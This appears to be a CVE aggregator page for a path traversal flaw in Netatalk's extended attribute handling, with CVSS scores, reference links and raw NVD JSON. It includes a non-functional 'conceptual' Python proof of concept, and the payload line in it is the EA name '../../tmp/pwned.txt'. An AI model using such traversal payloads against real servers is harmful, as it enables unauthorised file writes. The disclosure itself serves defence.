CVE-2026-44068

Description

Incomplete sanitization of extended attribute (EA) path components in Netatalk 2.1.0 through 4.4.2 allows a remote authenticated attacker to write to files outside the intended metadata namespace via crafted EA names.

CVSS Details

CVSS Score

7.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Netatalk 2.1.0 - 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# Conceptual PoC for CVE-2026-44068
# This script demonstrates the concept of setting an Extended Attribute with a path traversal payload.
# Note: Actual implementation requires AFP protocol library (e.g., pyafp).

def exploit(target_ip, username, password):
    print(f"[+] Connecting to {target_ip}...")
    # 1. Authenticate to the Netatalk AFP server
    # session = connect_afp(target_ip, username, password)
    
    # 2. Craft a malicious Extended Attribute name
    # Using '../' to traverse out of the metadata directory
    malicious_ea_name = "../../tmp/pwned.txt"
    malicious_content = b"VULNERABILITY TEST"
    
    print(f"[*] Attempting to write EA: {malicious_ea_name}")
    
    # 3. Send SetExtAttr request
    # session.set_ext_attr("test_file", malicious_ea_name, malicious_content)
    
    print("[+] Exploit packet sent conceptually.")
    
if __name__ == "__main__":
    exploit("192.168.1.10", "user", "pass")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44068
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44068
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44068/
[4] VulDB https://vuldb.com/cve/CVE-2026-44068
[5] https://netatalk.io/security/CVE-2026-44068

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44068", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:22.473", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incomplete sanitization of extended attribute (EA) path components in Netatalk 2.1.0 through 4.4.2 allows a remote authenticated attacker to write to files outside the intended metadata namespace via crafted EA names."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44068", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}